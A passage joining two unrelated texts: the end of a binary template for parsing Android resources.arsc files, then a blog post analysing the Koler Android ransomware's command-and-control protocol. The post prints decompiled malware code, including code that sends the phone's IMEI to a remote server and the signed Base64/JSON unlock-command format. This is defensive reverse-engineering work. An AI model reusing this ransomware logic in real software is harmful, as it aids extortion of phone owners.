    RESCHUNK_HEADER header;
    uint            packageCount;           //  Number of ResTable structures
} RESTABLE_HEADER;

typedef struct (int _len) {
    char _string[_len];
} stringPool;

typedef struct (short _len) {
    wchar_t _string[ReadWStringLength(FTell(), 2*_len)];
} w_stringPool;

typedef struct {
    local int offsetStruct = FTell();
    RESCHUNK_HEADER header;
    uint stringCount;           //  Number of string uint indices
    uint styleCount;            //  Number of span uint indices
    uint flags;
    uint stringsStart;          //  Index of the string data
    uint stylesStart;           //  Index of the style data

    if (resStringPool_header.stringCount > 0) {
        local int utf8_flag = 0;
        if (((flags & 0x100) >> 8) == 1) 
            utf8_flag = 1;          //  UTF8_FLAG set
        
        uint stringOffset[resStringPool_header.stringCount];
           
        /*  Read the strings    */
        local int offsetStart = resStringPool_header.stringsStart + offsetStruct;
        local int startStringOffset;
        local int endStringOffset;
        local int i;
        for(i = 0; i < resStringPool_header.stringCount;i++) {
            startStringOffset = offsetStart + stringOffset[i];
            if (i == (resStringPool_header.stringCount-1))
                endStringOffset = offsetStruct + resStringPool_header.header.size;
            else
                endStringOffset = offsetStart + stringOffset[i+1];

            if (utf8_flag)            
                stringPool currentString(endStringOffset - startStringOffset);
            else
                w_stringPool currentString(endStringOffset - startStringOffset);            
        }
         
        /*  Skip padding bytes  */
        while((FTell() % 4) != 0)
            FSkip(1);
    }
} RESSTRINGPOOL_HEADER;

typedef struct {
    uint32  size;          // Number of bytes in this structure
    uint16  mcc;
    uint16  mnc;
    char    language[2];
    char    country[2]; 
    ubyte   orientation;
    ubyte   touchscreen;
    uint16  density;
    ubyte   keyboard;
    ubyte   navigation;
    ubyte   inputFlags;
    ubyte   inputPad0;
    uint16  screenWidth;
    uint16  screenHeight;
    uint16  sdkVersion;
    uint16  minorVersion;
    ubyte   screenLayout;
    ubyte   uiMode;
    uint16  smallestScreenWidthDp;
    uint16  screenWidthDp;
    uint16  screenHeightDp;
}RESTABLE_CONFIG;

typedef struct {
    RESCHUNK_HEADER header;
    ubyte           id;                 //  The type identifier, 0 is invalid
    ubyte           res0;               //  0
    uint16          res1;               //  0
    uint32          entryCount;         //  Number of uint32_t entry configuration masks
    
    if (resTable_TypeSpec.entryCount > 0)
        uint entryFlag[resTable_TypeSpec.entryCount];
}RESTABLE_TYPESPEC;

typedef struct {
    uint16 size;            // Number of bytes in this structure
    uint16 flags;
    uint32 key;
}RESTABLE_ENTRY;

typedef struct (int len) {
    uint16 size;            // Number of bytes in this structure
    ubyte res0;             // 0
    ubyte dataType;         // Type of the data value
	ubyte data[len];        // The data
}RES_VALUE;

typedef struct {
    local int offsetStruct = FTell();

    RESCHUNK_HEADER header;
    ubyte           id;
    ubyte           res0;
    uint16          res1;
    uint32          entryCount;                                     // Number of uint32_t entry indices that follow
    uint32          entriesStart;                                   // Offset from header where ResTable_entry data starts
    RESTABLE_CONFIG resTable_config;                                
    uint            entryOffset[resTable_Type.entryCount];

    local uint      startRes = FTell();
    local uint      endOffset;            
    local uint32    j;
    local uint32    i = 0;
    while (i < resTable_Type.entryCount) { 
        if (entryOffset[i] != -1) { 
            RESTABLE_ENTRY restableEntry;

            j = i+1;
            if (i == resTable_Type.entryCount - 1) 
                endOffset = offsetStruct + resTable_Type.header.size;
            else {
                while ((j < resTable_Type.entryCount) && (entryOffset[j] == -1))
                    j++;
                if (j == resTable_Type.entryCount) 
                    endOffset = offsetStruct + resTable_Type.header.size;
                else
                    endOffset = startRes + entryOffset[j];
            }
            RES_VALUE resValue(endOffset - (startRes + entryOffset[i]) - 12 );
        }
        i++;
    }
}RESTABLE_TYPE;

typedef struct {
    RESCHUNK_HEADER header;
    uint32          id;                     //  Package ID
    wchar_t         name[128];              //  Package name
    uint            typeStrings;            //  Offset to a ResStringPool_header defining the resource type symbol table
    uint            lastPublicType;         //  Last index into typeStrings
    uint            keyStrings;             //  Offset to a ResStringPool_header defining the resource key symbol table
    uint            lastPublicKey;          //  Last index into keyStrings
}RESTABLE_PACKAGE;


/*  ----------------------------------------------------------------------------- */

LittleEndian();
local ushort type;

while (!FEof()) {
    type = ReadShort(FTell());
    if (type == RES_TABLE_TYPE) 
        RESTABLE_HEADER resTable_header; 
    else if (type == RES_STRING_POOL_TYPE)
        RESSTRINGPOOL_HEADER resStringPool_header;
    else if (type == RES_TABLE_PACKAGE_TYPE) 
        RESTABLE_PACKAGE resTable_package;
    else if (type == RES_TABLE_TYPE_SPEC_TYPE) 
        RESTABLE_TYPESPEC resTable_TypeSpec;
    else if (type == RES_TABLE_TYPE_TYPE) 
        RESTABLE_TYPE resTable_Type;
    else
        return -1;
}

Reference:

http://justanapplication.wordpress.com/category/android/android-resources/

Android Koler trojan: C&C part

As promised, I’m writing a new post about Koler. This time I’ll talk about the communication between the mobile phone and the external domain because the malware makes use of a minimal C&C feature.
There are mainly two classes that are responsible of the interaction: com.android.6589y459gj4058rtgc.6589y459gj4058rtga and com.android.6589y459gj4058rtgd.6589y459gj4058rtgb. The flow of the program is guided by many conditional checks over some boolean flags. The flags are used to store the status of things like screen_is_off/screen_is_on/activity_is_stopped/etc.. I won’t put all these conditional checks in the analysis, because I want to write something as clean as possible focusing my attention to the client-server communication only; moreover it’s a detail you may easily check by yourself.

Everything starts from the run method of a thread (look inside com.android.6589y459gj4058rtgc.6589y459gj4058rtga), the client contacts the server passing a parameter to it. The parameter is an URI containing a string in this format: “random_string=mobile_phone_imei”. The random string len is 0x0A chars.

private final java.lang.String 6589y459gj4058rtgb(java.net.URI p1) {
   v0 = null;
   //   Create HttpGet instance
   HttpGet httpGet = new org.apache.http.client.methods.HttpGet(p1);
   BasicHttpParams params = new org.apache.http.params.BasicHttpParams();
   org.apache.http.params.HttpConnectionParams.setConnectionTimeout(params, 0xBB8);
   org.apache.http.params.HttpConnectionParams.setSoTimeout(params, 0x1388);
   //   Create Http Client
   DefaultHttpClient httpClient = new org.apache.http.impl.client.DefaultHttpClient(params);	
   HttpResponse response = httpClient.execute(httpGet);	
   if (response != null)   goto _response_not_null;
_return:
   return(v0);
_response_not_null:
   if (response.getStatusLine() == null)   goto _return;
   int statusCode = response.getStatusLine().getStatusCode();
   if (statusCode != 0xC8)	goto _return;	//	0xC8 (200) is OK
   InputStream is = response.getEntity().getContent();
   // Convert response to string
   InputStreamReader isReader = new java.io.InputStreamReader(is);
   BufferedReader bReader = new java.io.BufferedReader(isReader);			
   v0 = "";
_read_line_from_domain:
   //   Create a string with data from domain
   String line = bReader.readLine();
   if (line == null)   goto _close_input_stream_reader;
   StringBuilder sBuilder = new java.lang.StringBuilder();   
   v0 = sBuilder.append(v0);
   v0 = v0.append(line);
   if (6589y459gj4058rtgc != 0)   goto _return;
   if (6589y459gj4058rtgc == 0)   goto _read_line_from_domain;		//   Goto if port number has been specified as int via init
_close_input_stream_reader:
   is.close();
   goto _return;

It returns null or a response string from the server. This is a standard piece of code used to get the reply from the server. Unfortunately I can’t dynamically check the response string because -fortunately- the domains are not working anymore. Luckily the run method contains a call to a method used to check the returned string. Let’s see if I can reconstruct the format of the response string.

The method is declared inside LockActivity and the declaration is:

public void 6589y459gj4058rtga(java.lang.String p1)

The execution of this method represents the end of the thread’s run, and since of this called method doesn’t return anything it’s likely to assume that something important could be inside it. The parameter is the response from the server.

   if (p1 != null)   goto _parameter_is_not_null;
   6589y459gj4058rtgc();   // Send FIND_VALID_DOMAIN
   return;
_parameter_is_not_null:
   ...

Here’s the first information about the response string, it can be empty. From my previous article about Koler I know that FIND_VALID_DOMAIN is used to load one of the hardcoded domain page on the mobile phone browser. The page contains the ransom advice.
Ok, it’s time to understand what should happen when the response string is not empty. The first thing you’ll notice is the use of a specific resource:

v1 = this->getResources()->openRawResource(0x7F040000);
//	<public type="raw" name="pubkey" id="0x7f040000" />

The resource is just a sequence of 162 bytes. The author named it pubkey, a quite suspicious name. The bytes sequence is passed as a parameter to another interesting method:

v2 = new com.android.6589y459gj4058rtgd.6589y459gj4058rtgb(p1, v0);

A new instance of the class com.android.6589y459gj4058rtgd.6589y459gj4058rtgb, p1 is the response string and v0 the pubkey. The body of the initialization method is short and easy to understand:

public void <init>(java.lang.String p1, Array of byte p2) {
   java.lang.Object();
   this.6589y459gj4058rtgd = p1;		
   6589y459gj4058rtga(p2);			
   return;
}
	
private final void 6589y459gj4058rtga(Array of byte p1) {        
   KeyFactory kf = java.security.KeyFactory->getInstance("RSA");
   X509EncodedKeySpec kSpec = new java.security.spec.X509EncodedKeySpec(p1);
   this->6589y459gj4058rtge = kf->generatePublic(kSpec);
}

Here’s the first step inside this new class. The response string is stored inside a field, and pubkey is used to generate a RSA public key. The next called method will make use of the stored string:

public final com.android.6589y459gj4058rtgd.6589y459gj4058rtga 6589y459gj4058rtga() {
   String decoded = new java.lang.String(android.util.Base64.decode(this.6589y459gj4058rtgd, 0x00));		//	Decode response string
   JSONObject jSon = new org.json.JSONObject(decoded);

Here we are: JSONObject. JSON is a simple data format used to exchange information between client and server. A new JSONObject is created with a parameter, it’s a string obtained from a Base64 decode operation over the response string. Now I know that the communication between server and client is encoded, and I can start imaging the format of a possible response string:

{ “field_1”:”val1”, “field_2”:”val2”, “field_3”:”val_3”... }

I don’t know what’s the real content of the decoded response string yet, but I could have an idea of what it looks like. The next snippet does a parse of the decoded string:

   String s = jSon.getString(6589y459gj4058rtgc);   // 6589y459gj4058rtgc = "sign"
   v5 = android.util.Base64.decode(s, 0x00);   	// Decode the “sign” data field
   if (v5 != null)	goto _82;
   v0 = com.android.6589y459gj4058rtgd.6589y459gj4058rtga.UNKNOWN;
_7c:
   return(v0);
_82:
   …

Here’s the current format of the response string passed to the client by the server:

{ “sign”=”base64_encoded_string” }

Another base64 encoded string, if the sign string is null the returned com.android.6589y459gj4058rtgd.6589y459gj4058rtga values is UNKNOWN.
Now, suppose sign is not null and the base64 decoding process is a success:

_82:
   String str = new java.lang.String(jSon.getString(6589y459gj4058rtgb);   // 6589y459gj4058rtgb = "data"
   str = android.util.Base64.decode(str, 0x00);        // Decode the “data” field string
   JSONObject jS = new org.json.JSONObject(str);   
   String sTag = jS.getString("tag");                  // Get "tag" contents
   sTag = com.android.6589y459gj4058rtgd.6589y459gj4058rtga.valueOf(sTag.toUpperCase());   // UNKNOWN or UNLOCK 
   String time = jS.getString("time");                 // Get “time” contents
   sTag.6589y459gj4058rtga(java.lang.Long.parseLong(time));   // com.android.6589y459gj4058rtgd.6589y459gj4058rtga.6589y459gj4058rtga
   ...
   v0 = sTag;			
   goto _7c;

The Json object definition is complete now:

{ “sign”=”base64_encoded_string”,”data”=”base64_encoded_JSONObject” }

and what I called base64_encoded_JSONObject looks like the following decoded object:

{ “tag”=”UNKNOWN_or_UNLOCK”,”time”=”time_string” }

The returned value from this current method is strictly related to the tag value of the encapsulated Json object. Ok, we can go back to LockActivity code:

   v0 = v2->6589y459gj4058rtga();   // The last method I've commented, it returns UNKNOWN or UNLOCK
   v1 = com.android.6589y459gj4058rtgd.6589y459gj4058rtga->UNLOCK;
   if (v0 != v1)   goto return;     // Goto if UNKNOWN 
   // UNLOCK
   v0 = v2->6589y459gj4058rtga(v0); // Check over current day of the year
   if (v0 != false) goto return;
   6589y459gj4058rtgh();            // Send SETUNLOCK message
   this->6589y459gj4058rtge->6589y459gj4058rtga(this);   // Send UNINSTALL message

Here’s the final check over the UNKNOWN/UNLOCK value obtained from the response string. I already said what UNKNOWN means, it’s time to see what happens when UNLOCK tag has been received.
First of all there’s a check over the Json time field value passed from the server, if the current day is equal to the one specified by the server I got false into v0 and SET_UNLOCK-UNINSTALL messages are sent to the message handler. The day-check is done comparing the current day, month and year.
I didn’t say a lot about these two messages in the first part of the tutorial, it’s the right time to have a quick look at them:

// SetUnlock method
private final void 6589y459gj4058rtgc() {
   SharedPreferences newPref = this.6589y459gj4058rtga.getSharedPreferences("settings", false);
   SharedPreferences.Editor prefEditor = newPref.edit();
   newPref.putBoolean("do.uninstall", true);
   newPref.commit();
   if (!check_cast(this.6589y459gj4058rtga, "com.android.LockActivity")) throws ClassCastException;
   this.6589y459gj4058rtga.6589y459gj4058rtga(TRUE);   // IsOnPause flag
}

// Uninstall method (pseudo code)
private final void 6589y459gj4058rtgb() {
   v3 = "package:" + this.6589y459gj4058rtga.getApplicationContext().getPackageName();
   v1 = new android.content.Intent("android.intent.action.DELETE", v3);
   this.6589y459gj4058rtga.startActivityForResult(v1, 0xFFFFFFFFFFFFFFFF;);
}

SetUnlock lays the foundation and Uninstall provides to uninstall the package.

To sum-up, as far as I’ve seen UNKNOWN and UNLOCK are the only two commands from Koler’s C&C feature. The first one is used to show the ransom advice located on a domain web page. The other one -UNLOCK- *should* remove the malware from the system. I can’t be 100% sure because I’m doing a static analysis and I can’t test a real response from the server.